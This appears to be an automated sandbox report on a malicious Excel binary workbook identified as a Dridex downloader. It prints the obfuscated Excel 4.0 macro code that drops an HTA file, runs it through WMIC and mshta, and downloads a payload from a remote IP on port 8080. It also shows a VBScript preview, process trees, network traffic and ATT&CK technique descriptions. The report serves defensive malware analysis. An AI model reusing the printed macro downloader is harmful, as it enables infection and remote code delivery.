	vote number3210109.xlsb	Get hash	malicious	Browse	136.144.181.174
	tax77567960.xlsb	Get hash	malicious	Browse	136.144.181.174
	subscription-84799.xlsb	Get hash	malicious	Browse	136.144.181.174
	hunting license-25331.xlsb	Get hash	malicious	Browse	136.144.181.174
	subscription-84799.xlsb	Get hash	malicious	Browse	136.144.181.174
	8993268.xlsb	Get hash	malicious	Browse	136.144.181.174
	promo 2352017.xlsb	Get hash	malicious	Browse	136.144.181.174
	8993268.xlsb	Get hash	malicious	Browse	136.144.181.174
	promo 2352017.xlsb	Get hash	malicious	Browse	136.144.181.174
	Offer 373466695.xlsb	Get hash	malicious	Browse	136.144.181.174
	Offer 373466695.xlsb	Get hash	malicious	Browse	136.144.181.174

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\EcsbNSOxkInoaK.rtf Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	HTML document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	4573
Entropy (8bit):	5.072936336036304
Encrypted:	false
SSDEEP:	96:cngLVB369CTS6D5520yGJoyrlwSKzf0mZ:cgLVBQSSG520nmyBwE+
MD5:	C29745BC81C8ACDD29F72199EAE4C699
SHA1:	C5783C6B9E879661C5FECA9166CB62BDCA64E11E
SHA-256:	58AC14868565DB225586CF8DD6195CE82C70C247157667BB6CCCB15C3C263EC6
SHA-512:	AA7F57ADBE4D22AAC973AE08F90FAF1DC75324E7349EF4BE8B61E5FCFB0664101B415790291569D2FBF89AA4D54630214DA3B4D2672BE0F32D8C579A8927C2C0
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DridexDownloader, Description: Yara detected Dridex Downloader, Source: C:\ProgramData\EcsbNSOxkInoaK.rtf, Author: Joe Security
Reputation:	low
Preview:	<!DOCTYPE html>..<html>..<head>..<HTA:APPLICATION ID="CS"..APPLICATIONNAME="ttrgnkrtegjtjgjerg"..WINDOWSTATE="minimize"..MAXIMIZEBUTTON="no"..MINIMIZEBUTTON="no"..CAPTION="no"..SHOWINTASKBAR="no">..<script type="text/vbscript" LANGUAGE="VBScript" >..I_B_w_x_A_o_Z_j = "run" & "dl" & "l32" & Chr(46+1-1) & "exe" & Chr(32+1-1) & Chr(67+1-1) & ":\" & Chr(92+1-1) & Chr(80+1-1) & "" & Chr(114+1-1) & Chr(111+1-1) & "gra" & "mDa" & "ta\" & "nni" & "gg" & "er." & "" & "bi" & "" & "" & "n " & Chr(87+1-1) & Chr(115+1-1) & Chr(112+1-1) & "Fr" & "" & "ee" & "Str" & "ing"..Set F_h_p_X_b_A_m_W_x_u_c_g_d_J_h = CreateObject("MS" & "XM" & "" & Chr(76+1-1) & "2.S" & "er" & Chr(118+1-1) & "" & "erX" & "ML" & "" & "HTT" & Chr(80+1-1) & ".6." & Chr(48+1-1))....M_H_t_b_e_K_o_r = "" & "Wsc" & "" & Chr(114+1-1) & "ipt" & ".Sh" & "" & "" & "" & "el" & "" & Chr(108+1-1)..Set H_I_T_B_H_C_n_n_N_m_y_K_K_e = CreateObject(M_H_t_b_e_K_o_r)..f_j_v_j_N_J_x_L_W_A_b_T_Q_H_m_M = LCase(H_I_T_B_H_C_n_n_N_m_y_K_K_e.expandenvir

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\FDAB8C70-EFBA-4D02-A19B-AF584A650287 Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	140183
Entropy (8bit):	5.357945897798002
Encrypted:	false
SSDEEP:	1536:jcQIfgxrBdA3gBwtnQ9DQW+zCA4Ff7nXbovidXiE6LWmE9:5uQ9DQW+zcXfH
MD5:	86F5E6024E4B8DF9323126D3056DD0D6
SHA1:	AD5D19E25401B104856A896A7262DA9234B551A3
SHA-256:	6CD712EA6894F244D0449F212263857DC7CADF137A820B809837325CA8CE3529
SHA-512:	1981446EBFF39067A729AB07346E0842D3AB5979928F8420E165C7B9A8F87C28DCA0659A8CAF6C30C6561E6AD1AECB57919703AE564304A8BBBC20A93DE372C9
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2021-11-25T02:42:57">.. Build: 16.0.14715.30527-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\36B88D18.png Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	PNG image data, 224 x 317, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	47905
Entropy (8bit):	7.975097307731708
Encrypted:	false
SSDEEP:	768:oPiBEX9M11Q3TUZg7EZ52/ViBN3SH8WsqnxyZI1FLyGuH32MRbYgB1ZQ0ZoKABAG:oPrX6Q3cWViBN3yKqxyeHw3vRMgF3oK+
MD5:	3773A459C89CC2480156FE604D3C5A5D
SHA1:	3E2C5867A9670C6FDF65C156FDF6DE7F0A43A018
SHA-256:	96E1EF7E454640575D72ED2B6C16843E44AEDF3BB6C47513DF78E4679CF4881F
SHA-512:	82383A4DF8ADF2A8521214993112D238BB72792BDB078B0BFE6CDD5CE16F5CA5305BB4ED162F0F0749C3A5EAB5CB929BD1E4B50360A02F13A58593514FAA51E7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR.......=.......n....JiCCPICC Profile..x..W.TS...[RIh..H...R.K..E....I ...D....]D@].U.E...ZQ...]......l..I.]=...s........{g...I.....y.\|Y\|D.kBj.......Z...x\|...........7..../.(......'.... q.g...<......\|..>Po=#_.. 6...!.q...(q..W.l..9....L..dY.h7C=....y.o@...%..!..x..#!...7M...p...'....C.<^..V..r.X.....?..%/W1...6.H.......F.(%.A.#...X..wb...b.RD&..QS...k.....x.Q..B......32..\...A....D..EByX...F6->v.g.8l....L.Wi.R.............D.).1j.89.bm...(..fS$.........m ..J"B...LYx..^.'...[$.sc4.*_........7..Y(a'.......s..C..c...$M.X.4?$^3..47Nc.S...J......\<0..H5?.#.KT.gd......A4..P....2.4....=M=.z$....d.!p.h.g..F$...._...\|h^.jT.....V.t..........<..r.o.j.d.[2x.5...a...)...&Z.Q..t.-.a.Pb$1.....?.......>..`._..........N...b.7...8..=.kr..:g...z.!x...8.7...h..A.P..D...[....U.5v.W.J.F..8\|;S.I.s.EY.+..5c.....o.s.....Q.Zb..}X.v.;.....;.5c..J<....V..xU<9.G..?....r.z.n..\|a....8.3e.,Q>....B.W..9........;.~M.b.......]q............8........Z..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\D2A47AB3.png Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	PNG image data, 256 x 42, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	2847
Entropy (8bit):	7.852890476604547
Encrypted:	false
SSDEEP:	48:tl8kRuafTq8urV1RN5YV9mk2atARitu9J3xIpuWOG0ghPgm2Gphq:bvYoTq8uh1RN6VwkDsiwzXWmgi2nq
MD5:	1C92712801D7A0424E86CB38324AE4C8
SHA1:	1FF9A2E62CADB027F94FE03800C31AACC5EC64BA
SHA-256:	D88437360CCAE5CA051E3A4818172246B142962A9A7372FBE45A22F4D646831D
SHA-512:	8AA6B872693687DF8191FA878440C711B6001259AAEBA13D4C82BFF418CCD37ACBF3621277D091CAD34DDC63EAC3F67156468AAA2BD32BE24520BAF337B03C20
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............P......IDATx..kPS......H$D^..B...@.V.......Z...ikgZ..t:N[.N....:N;-.N;X.>@.E..T..S..R..."OQH..b.....^C.$....&.N.f..{...........Sa......%$......... 0....FC...hH........!.@`4$......... 0....FC...hH........!.@`4...Zz.p.....r...[.E...+....82.Onn....".R...==-m...cu....gf&dg.%$.@WEE..........#.0%E....._........Vl.JL.....s.x...5.G--.JK.9rD74..cj...h............%.c+...Uw......5h.v..}...+..l+..7....'....5k.64$~..8>.J?....x..E...%../.....6G.U..04T.....3!0......lo..?..o..\9...=..q\..f.......W.........@Q....X,.h.......K:..A..?$.<...K\|....yy..ds.nM-.....h.Eq.\|.Y..23...8\|...AQ\..O&{.....;...\.<z..7..^3\..v.t.........X.9[....q.T...dq8......11.j.r.h+)...S..v..'..S[.......ZTt....pfl...J..~.>...Bq....U...4?v...H.........3..R4....Q$...0k.f'de.bb.@.V....ol.D36l....&MZ..sn.......q....DIJ....O..[w+'.z..nB.%K.$%..oD.4#..?.\..o......?..+?...7...yyH...g.,.h:y....'...ck9.......%..w..#......D.Tz.......F.Ut.se.h......8..JH.w...<.h0.=

C:\Users\user\Desktop\~$03332955311591163552.xlsb Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.6081032063576088
Encrypted:	false
SSDEEP:	3:RFXI6dtt:RJ1
MD5:	7AB76C81182111AC93ACF915CA8331D5
SHA1:	68B94B5D4C83A6FB415C8026AF61F3F8745E2559
SHA-256:	6A499C020C6F82C54CD991CA52F84558C518CBD310B10623D847D878983A40EF
SHA-512:	A09AB74DE8A70886C22FB628BDB6A2D773D31402D4E721F9EE2F8CCEE23A569342FEECF1B85C1A25183DD370D1DFFFF75317F628F9B3AA363BBB60694F5362C7
Malicious:	true
Reputation:	high, very likely benign file
Preview:	.pratesh ..p.r.a.t.e.s.h. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

\Device\ConDrv Download File
Process:	C:\Windows\SysWOW64\wbem\WMIC.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	160
Entropy (8bit):	5.095703110114614
Encrypted:	false
SSDEEP:	3:YwM2FgCKGWMRX1eRHXWXKSovrj4WA3iygK5k3koZ3Pveys1MgmkRsqJQAiveyzoa:Yw7gJGWMXJXKSOdYiygKkXe/egmkLeAc
MD5:	8EEDE2BFEF232C8ACD65A49D1473E131
SHA1:	4085E9CBD586BF1648CF7FF47C57EE4F6080FFA8
SHA-256:	EC261967A0900BAC25D571A33170F1FB15FF3EA046E67810F950A25E767F7F2D
SHA-512:	65ECA3D5B3CD6072BBC2827436FC76B38DD9AB282F0E1DD6EB49F687D4B69E8616AFCA4E213B44DB0ACCA328CD184E9A6AF007D975D02B7EFBDF149415DCA227
Malicious:	false
Preview:	Executing (Win32_Process)->Create()...Method execution successful....Out Parameters:..instance of __PARAMETERS..{...ProcessId = 4728;...ReturnValue = 0;..};....

Static File Info

General
File type:	Microsoft Excel 2007+
Entropy (8bit):	7.880232506578822
TrID:	Excel Microsoft Office Open XML Format document with Macro (51004/1) 36.56% Microsoft Excel Office Binary workbook document (40504/1) 29.03% Excel Microsoft Office Open XML Format document (40004/1) 28.67% ZIP compressed archive (8000/1) 5.73%
File name:	03332955311591163552.xlsb
File size:	79613
MD5:	03b46f9c2c3a34b01d6c6653ae6058cf
SHA1:	151187d28d385e113a7af28b7174f7ab31e88c7c
SHA256:	0f42275a9cffd35cd5b51e5fae116431d8973ff94192ddd184f9cf1a10031ea0
SHA512:	c1ec925fcf177536d50785df2304df4fb6fdb2b49ce8e2254edaeca61d21128e3ebd485413be5ea0b053f18e21af56f83b240fc063529da42e3edc79ef37560e
SSDEEP:	1536:UW4PrX6Q3cWViBN3yKqxyeHw3vRMgF3oKy5h7aZkFOrRh7x8q+aNgdQ:VIqmc3/q0dfaguKymSOl0q9gdQ
File Content Preview:	PK..........!...l.....W.......[Content_Types].xml ...(.........................................................................................................................................................................................................

File Icon


Icon Hash:	74f0d0d2c6d6d0f4

Static OLE Info

General
Document Type:	OpenXML
Number of OLE Files:	1

OLE File "03332955311591163552.xlsb"

Indicators
Has Summary Info:
Application Name:
Encrypted Document:
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:

Macro 4.0 Code

0,564,=FOPEN("C:" & CHAR(92) & "Pro" & CHAR(103) & "ram" & CHAR(68) & "ata" & CHAR(92) & "" & CHAR(69) & "csbN" & CHAR(83) & CHAR(79) & "xkInoa" & CHAR(75) & ".rt" & CHAR(102), 3)
2,564,=C771+B3358
3,564,=C1372+B5815
4,564,=C3034+D5889
5,564,=B8734+D8279
6,564,=D1815+D9965
8,564,=B9542+D6767
9,564,=B5018+C9767
10,564,=A3001+B1175
14,564,=FOR.CELL("FaISTsVDGh",Sheet1!BZ159:CP427, TRUE)
17,564,=D6043+C4383
18,564,=D1988+A4014
21,564,=A9854+A2027
23,564,=A4466+A5233
27,564,=D3228+A9568
28,564,=FWRITE(0,CHAR(FaISTsVDGh))
30,564,=B9417+D957
34,564,=D2736+A3735
36,564,=A7745+A4468
37,564,=A9577+A7603
41,564,=NEXT()
44,564,=D6203+D6704
48,564,=D271+A2464
49,564,=C862+B1433
51,564,=D8629+B2544
53,564,=EXEC("" & CHAR(119) & "mic p" & CHAR(114) & "ocess cal" & CHAR(108) & " creat" & CHAR(101) & CHAR(32) & "" & CHAR(34) & "" & CHAR(109) & CHAR(115) & "hta C" & CHAR(58) & "\ProgramData" & CHAR(92) & "EcsbNSOxkIn" & CHAR(111) & "aK.rt" & CHAR(102) & CHAR(34))
54,564,=D7995+A4461
57,564,=B2564+D4980
58,564,=B424+D5690
59,564,=D3664+A8602
60,564,=D1224+A1591
63,564,=C8434+A2884
64,564,=B8882+B8994
65,564,=CALL("urlmo" & CHAR(110) & "", "URLDownloadT" & CHAR(111) & "Fi" & CHAR(108) & "" & CHAR(101) & CHAR(65),CHAR(74) & CHAR(74) & "CCJJ", 0, "http" & CHAR(58) & "//13" & CHAR(54) & CHAR(46) & "144.18" & CHAR(49) & CHAR(46) & CHAR(49) & "74:" & CHAR(56) & "080/Q2W5VWUF" & CHAR(76) & CHAR(53) & "" & CHAR(86) & "CMQ7JQPET" & CHAR(71) & "3CCTYX7" & CHAR(50) & "Z4" & CHAR(82) & "25PD" & CHAR(71), "C:" & CHAR(92) & "ProgramDa" & CHAR(116) & "a\" & CHAR(103) & CHAR(101) & "UjvKUyTJzj.tx" & CHAR(116),0,0)
67,564,=A2256+B4825
71,564,=D806+D8685
72,564,=C9749+A4044
73,564,=A7567+C5151
74,564,=D2929+C1646
75,564,=D520+B969
76,564,=D6921+D742
78,564,=C2007+B8208
79,564,=ALERT("Error! Sen" & CHAR(100) & CHAR(105) & "ng rep" & CHAR(111) & CHAR(114) & "t to " & CHAR(77) & CHAR(105) & "crosoft." & CHAR(46) & "" & CHAR(46) & "")
81,564,=B1267+D7232
82,564,=B229+A4473
84,564,=B8569+B9731
85,564,=A708+A80
87,564,=D5860+C7083
89,564,=D1262+A5225
91,564,=FOPEN("C:\Progra" & CHAR(109) & CHAR(68) & CHAR(97) & CHAR(116) & "a\geUjv" & CHAR(75) & "UyTJzj.tx" & CHAR(116) & "",1)
92,564,=D8060+A8468
98,564,=D9768+B411
99,564,=D6404+C4509
105,564,=SEND.MAIL(EVALUATE(FREAD(US92,255)))
107,564,=B3700+A4636
111,564,=A9666+A6358
115,564,=D9377+A7151
116,564,=RETURN()

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2021 03:43:50.323045015 CET	49784	8080	192.168.2.4	136.144.181.174
Nov 25, 2021 03:43:50.350711107 CET	8080	49784	136.144.181.174	192.168.2.4
Nov 25, 2021 03:43:50.856678963 CET	49784	8080	192.168.2.4	136.144.181.174
Nov 25, 2021 03:43:50.884529114 CET	8080	49784	136.144.181.174	192.168.2.4
Nov 25, 2021 03:43:51.388081074 CET	49784	8080	192.168.2.4	136.144.181.174
Nov 25, 2021 03:43:51.416006088 CET	8080	49784	136.144.181.174	192.168.2.4

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 7004 Parent PID: 800

General

Start time:	03:42:56
Start date:	25/11/2021
Path:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding
Imagebase:	0x280000
File size:	27110184 bytes
MD5 hash:	5D6638F2C8F8571C593999C58866007E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WMIC.exe PID: 2240 Parent PID: 7004

General

Start time:	03:43:49
Start date:	25/11/2021
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic process call create "mshta C:\ProgramData\EcsbNSOxkInoaK.rtf"
Imagebase:	0x50000
File size:	391680 bytes
MD5 hash:	79A01FCD1C8166C5642F37D1E0FB7BA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 4228 Parent PID: 2240

General

Start time:	03:43:50
Start date:	25/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: mshta.exe PID: 4728 Parent PID: 5060

General

Start time:	03:43:51
Start date:	25/11/2021
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	mshta C:\ProgramData\EcsbNSOxkInoaK.rtf
Imagebase:	0x7ff660930000
File size:	14848 bytes
MD5 hash:	197FC97C6A843BEBB445C1D9C58DCBDB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Windows Analysis Report 03332955311591163552.xlsb

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Initial Sample

Dropped Files

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

E-Banking Fraud:

System Summary:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

HIPS / PFW / Operating System Protection Evasion:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "03332955311591163552.xlsb"

Indicators

Macro 4.0 Code

Network Behavior

Network Port Distribution

TCP Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: EXCEL.EXE PID: 7004 Parent PID: 800

General

Chronological Activities

Analysis Process: WMIC.exe PID: 2240 Parent PID: 7004

General